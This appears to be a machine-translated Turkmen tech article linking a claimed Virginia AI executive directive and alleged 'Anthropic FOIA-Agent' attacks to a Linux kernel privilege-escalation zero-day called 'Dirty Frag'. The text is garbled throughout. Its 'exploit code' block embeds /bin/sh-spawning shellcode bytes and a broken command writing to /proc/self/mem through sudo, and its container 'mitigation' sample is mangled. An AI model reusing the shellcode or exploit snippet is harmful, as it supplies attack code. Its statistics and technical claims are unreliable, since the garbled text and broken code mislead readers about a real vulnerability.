Wirjiniýa gubernatory AI ýerine ýetiriji direktiwasyna 6 gol çekdi: AI howpsuzlygy üçin täze döwür we hapa bölek ýadrosynyň dowam edýän howpy Zero günlük gowşaklyk

Wirjiniýa ştatynyň gubernatory Spanberger tarapyndan AI Executiveerine ýetiriji direktiwasynyň 6-syna gol çekilmegi hökümetiň AI bilen baglanyşykly howpsuzlyk meselelerini çözmek ugrundaky tagallalarynda möhüm pursat boldy. Antropiki FOIA-Agentiň döwlete edýän hüjümlerine salgylanýan bu görkezme, AI tehnologiýalary bilen baglanyşykly bolup biljek töwekgelçiliklere we kadalaşdyryjy çäreleriň zerurlygyna düşünýär. Tehnologiýa hünärmenleri hökmünde bu direktiwanyň netijelerine we AI tehnologiýalarynyň ösüşine we ornaşdyrylmagyna bolup biljek täsirine düşünmek möhümdir.

AI bilen baglanyşykly howpsuzlyk aladalarynyň artýan howpy

AI tehnologiýalarynyň ornaşdyrylmagy howpsuzlyk aladalarynyň köpelmegine sebäp boldy. [AI Herald-yň hasabatyna] (https://artificialintelligenceherald.com/ai-news-today) görä, soňky bir ýylda AI bilen baglanyşykly howpsuzlyk hadysalarynyň sany artdy we bu wakalaryň köpüsi Antropiki FOIA-Agent hüjümleri bilen baglanyşykly. AI ulgamlaryndaky gowşak goralanlyklardan peýdalanýan bu hüjümler, maglumatlaryň bozulmagy we ulgamyň ylalaşygy ýaly agyr netijelere getirip biler.

Antropiki FOIA-Agent hüjümleriniň aladalandyryjy ýokarlanmagy, geçen ýylda 300% ýokarlanmak bilen, bu howpsuzlyk meselelerini çözmek üçin gyssagly çäre görülmelidigini görkezýär.

Hapa bölek ýadrosy nol günlük gowşaklyk: Gelip barýan howp

“Dirty Frag” ýadrosynyň nol günlük gowşaklygy, Linux paýlanyşyna ep-esli howp döredýär, ygtyýarsyz ulanyjylara Linux paýlamalarynyň köpüsinde kesgitleýji kök ygtyýaryny almaga mümkinçilik berýär. [Hyunwoo Kimiň aýan etmeginde] görkezilişi ýaly (https://news.ycombinator.com/item?id=48304227), Dirty Frag gowşaklygy ýönekeý ekspluatasiýa arkaly ulanylyp bilner, bu ulgam dolandyryjylary we howpsuzlyk hünärmenleri üçin möhüm alada döredýär.

`` piton

Dirty Frag gowşaklygy üçin ekspluatasiýa kody

import os

Ekspluatasiýa ýüküni kesgitläň

ýüklemek = b "\ x48 \ x31 \ xc0 \ x50 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ x50 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x75 \ x73 \ x72 \ x89 \ xe3 \ x50 \ x53 \ x89 \ xe1 \ xb0 \ x0b \ xcd \ x80 "

Täze bir proses dörediň we ýük ýüküni ýerine ýetiriň

os.system ("echo '{}' | sudo tee / proc / self / mem> / dev / null" .format (payload.hex ())) ``

💡 ** Esasy düşünje: ** Dirty Frag ýadrosynyň nol günlük gowşaklygy Linux paýlanyşyna ep-esli howp döredýär we ulgam dolandyryjylary we howpsuzlyk hünärmenleri ulgamlaryny gözlemek we täzelemek üçin derrew çäre görmeli.

Nokatlary birleşdirmek: AI Executiveerine ýetiriji direktiwasy 6 we hapa hapa gowşaklygy

AI Executiveerine ýetiriji direktiwasynyň 6-a gol çekilmegi we Dirty Frag ýadrosynyň nol günlük gowşaklygy bar. Direktiwanyň ünsi AI bilen baglanyşykly howpsuzlyk meselelerini çözmäge gönükdirilendir, AI ulgamlaryny bozmak üçin ulanylyp bilinjek Dirty Frag gowşaklygy kontekstinde has möhümdir. Hapa frag gowşaklygyny çözmek bilen, tehnologiýa hünärmenleri AI bilen baglanyşykly howpsuzlyk aladalary bilen baglanyşykly töwekgelçilikleri azaltmaga kömek edip bilerler.

Hapa fragyň gowşaklygyny gowşatmak

Dirty Frag gowşaklygyny azaltmak üçin ulgam dolandyryjylary we howpsuzlyk hünärmenleri birnäçe ädim ätip bilerler, şol sanda:

• Linux paýlamalaryny iň soňky wersiýasyna göçürmek we täzelemek
• Gowşak ulgamlary izolirlemek üçin konteýner we mikroVM sandyklary ýerine ýetirmek
• Ulanyş alamatlary üçin ulgam surnallaryna we tor trafigine gözegçilik

`` ýml

Konteýner sandyk üçin mysal konfigurasiýasy

wersiýasy: "3" hyzmatlary: gowşak hyzmat: surat: gowşak şekil konteýner_name: gowşak gap täzeden başla: hemişe howpsuzlyk_opt: - sekkomp: kesgitlenmedik göwrümleri: - ./vulnerable-data:/data ``

⚠️ ** Arhitektura töwekgelçiligi: ** Hapa frag gowşaklygyny gowşatmazlyk, maglumatlaryň bozulmagy we ulgamyň bozulmagy ýaly möhüm howpsuzlyk töwekgelçiligine sebäp bolup biler. Ulgam dolandyryjylary we howpsuzlyk hünärmenleri bu gowşaklygy çözmek üçin gyssagly çäre görmeli.

Tehniki hünärmenler üçin teklipler

AI bilen baglanyşykly howpsuzlyk aladalarynyň we gowşak goralan ýerleriniň çylşyrymly keşbine geçmek üçin tehnologiýa hünärmenleri:

• AI bilen baglanyşykly iň soňky howpsuzlyk aladalary we gowşak goralanlyklary barada habarly boluň
• Ulgamlary berkitmek we täzelemek, konteýner we mikroVM sandyk gutularyny goşmak bilen ygtybarly howpsuzlyk çärelerini durmuşa geçiriň
• Ulanyş alamatlary üçin ulgam surnallaryna we tor trafigine gözegçilik ediň

Bu ädimleri ätmek bilen, tehnologiýa hünärmenleri AI ulgamlarynyň howpsuzlygyny we bitewiligini üpjün etmäge we AI bilen baglanyşykly howpsuzlyk aladalary bilen baglanyşykly töwekgelçilikleri azaltmaga kömek edip bilerler.

Çeşmeler

• [AI Herald-yň hasabaty] (https://artificialintelligenceherald.com/ai-news-today) - AI habarlary we täzelenmeleri
• [Hyunwoo Kimiň aýan etmegi] (https://news.ycombinator.com/item?id=48304227) - Hapa Frag ýadrosy bir günlük gowşak goralanlyk
• [AI hepdelik hasabaty] (https://aiweekly.co/ai-news-today) - Iň ýokary AI hekaýalary we göni ýaýlymlar
• [AI dünýäsi hasabaty] (https://theworldofai.org/ai-news/) - Gündelik AI habarlary we täzelenmeleri
• [AI hasabatyny öňe sürýär] (https://headsupai.io/ai-news-and-updates/today) - AI habarlary we şu gün möhüm bolan täzelikler